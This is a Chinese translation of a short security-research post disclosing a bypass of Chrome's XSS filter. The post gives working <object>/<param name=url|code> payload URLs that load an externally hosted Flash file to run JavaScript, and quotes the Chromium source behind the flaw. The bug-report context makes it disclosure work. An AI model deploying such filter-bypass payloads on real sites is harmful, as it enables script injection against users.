原文链接:MKSB
原作者:Masato Kinugawa
译:Holic (知道创宇404安全实验室)
Hi there!
出于一些原因,我在读 Chromium 的源码的时候,意外地发现了一个绕过 XSS 过滤器的方法。在这篇短文里,我将分享这一绕过方法。我已在此处进行了报告: https://bugs.chromium.org/p/chromium/issues/detail?id=676992
绕过方法如下:
https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=url%20value=https://l0.cm/xss.swf%3E
<object allowscriptaccess=always>
<param name=url value=https://l0.cm/xss.swf>
当然这样也有效:
https://vulnerabledoma.in/char_test?body=%3Cobject%20allowscriptaccess=always%3E%20%3Cparam%20name=code%20value=https://l0.cm/xss.swf%3E
<object allowscriptaccess=always>
<param name=code value=https://l0.cm/xss.swf>
直到我在 HTMLObjectElement.cpp 中找到相关代码,我才知道 Chrome 竟会支持这些参数,:
if (url.isEmpty() && urlParameter.isEmpty() &&
(equalIgnoringCase(name, "src") || equalIgnoringCase(name, "movie") ||
equalIgnoringCase(name, "code") || equalIgnoringCase(name, "url")))
urlParameter = stripLeadingAndTrailingHTMLSpaces(p->value());
<param name="src" value="//attacker/xss.swf">
和 <param name="movie" value="//attacker/xss.swf">
被 XSS 过滤器拦截了。但是我发现 code
和 url
并没有被拦截。使用这一方法,我们可以加载 Flash 并执行 JavaScript。根据源代码的注释,看来 Chrome 出于兼容性的考虑支持这一特性。但至少我确认了它在 IE/Edge 上并不生效。我认为 Chrome 可以移除对它的支持 :)
此致。我写了用 <param>
标签绕过 XSS 过滤器的方法,感谢阅读!